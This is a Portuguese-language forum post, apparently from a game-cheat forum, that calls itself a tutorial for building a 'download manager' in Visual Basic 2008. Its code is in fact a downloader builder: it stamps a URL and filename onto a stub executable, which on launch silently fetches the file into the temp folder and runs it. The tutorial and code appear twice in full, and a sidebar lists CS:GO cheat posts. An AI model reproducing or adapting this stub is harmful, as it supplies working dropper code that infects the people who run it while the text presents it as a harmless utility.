Ola a todos novamente!
Nesse tutorial! eu vou ensinar a voces, como podemos criar um download manager!
nesse caso eu so usei (exe), pode podera modificar ele de acordo com as suas ideias! podendo colocar (mp3), (ipa) , (zip) ....
------------
abra se o visual basic 2008 e nele se crie
-2 text box
-1 Button
-2 labels
Código:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim FileSplit As String = "(CopyBoT)"
Dim Sfd As New SaveFileDialog
Dim SaveFileName As String
Sfd.Filter = "*.Exe | *.Exe"
If Sfd.ShowDialog = Windows.Forms.DialogResult.OK Then SaveFileName = Sfd.FileName _
Else Exit Sub
Try
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, _
OpenAccess.Read, OpenShare.Default)
Dim Stub As String = Space(LOF(1))
FileGet(1, Stub)
FileClose(1)
FileOpen(2, SaveFileName, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
FilePut(2, Stub & FileSplit & TextBox1.Text & FileSplit & TextBox2.Text)
FileClose(2)
MessageBox.Show("The file was built!")
Catch ex As Exception
MessageBox.Show("There was an error!" & vbNewLine & ex.ToString)
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim FileSplit As String = "(CopyBoT)"
Dim Options() As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
Dim F As String = Space(LOF(1))
FileGet(1, F)
FileClose(1)
Options = Split(F, FileSplit)
Dim urllink As String = Options(1)
Dim TEMP As String = System.IO.Path.GetTempPath
Dim file As String = TEMP & Options(2) & ".exe"
My.Computer.Network.DownloadFile(urllink, file)
Process.Start(file)
Me.Close()
End Sub
End Class
pronto
Nesse tutorial! eu vou ensinar a voces, como podemos criar um download manager!
nesse caso eu so usei (exe), pode podera modificar ele de acordo com as suas ideias! podendo colocar (mp3), (ipa) , (zip) ....
------------
abra se o visual basic 2008 e nele se crie
-2 text box
-1 Button
-2 labels
Código:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim FileSplit As String = "(CopyBoT)"
Dim Sfd As New SaveFileDialog
Dim SaveFileName As String
Sfd.Filter = "*.Exe | *.Exe"
If Sfd.ShowDialog = Windows.Forms.DialogResult.OK Then SaveFileName = Sfd.FileName _
Else Exit Sub
Try
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, _
OpenAccess.Read, OpenShare.Default)
Dim Stub As String = Space(LOF(1))
FileGet(1, Stub)
FileClose(1)
FileOpen(2, SaveFileName, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
FilePut(2, Stub & FileSplit & TextBox1.Text & FileSplit & TextBox2.Text)
FileClose(2)
MessageBox.Show("The file was built!")
Catch ex As Exception
MessageBox.Show("There was an error!" & vbNewLine & ex.ToString)
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim FileSplit As String = "(CopyBoT)"
Dim Options() As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
Dim F As String = Space(LOF(1))
FileGet(1, F)
FileClose(1)
Options = Split(F, FileSplit)
Dim urllink As String = Options(1)
Dim TEMP As String = System.IO.Path.GetTempPath
Dim file As String = TEMP & Options(2) & ".exe"
My.Computer.Network.DownloadFile(urllink, file)
Process.Start(file)
Me.Close()
End Sub
End Class
pronto
12/19/2017, 18:48 por MrViSiBLe
» MU LIVE SEASON 2 | INAUGURA DOMINGO 17/09
9/2/2017, 13:51 por MrViSiBLe
» Sorteio Perfumes - Forum ViSiBLe
8/25/2017, 08:27 por Convidado
» Novas Vagas Para Staff
8/24/2017, 15:20 por MrViSiBLe
» CSGO [Internal/External] Multi-Hack AIMBOT + TRIGGERBOT + ESP + BHOP
8/22/2017, 03:04 por MrViSiBLe
» REB00T 31/07/2017
8/22/2017, 03:01 por MrViSiBLe
» [CS:GO] HENTAIWARE 19/08/2017 | LEGIT | RAGE | ESP | GLOVES | FACEIT |
8/22/2017, 02:58 por MrViSiBLe
» DeviceCheats CS:GO Gratuito 31/07/2017
8/22/2017, 02:56 por MrViSiBLe
» [CS:GO] External - Glow ESP | Triggerbot | RCS | BunnyHop | Noflash
8/22/2017, 02:53 por MrViSiBLe
» [CS:GO] GLOW ESP 21/08/2017
8/22/2017, 02:49 por MrViSiBLe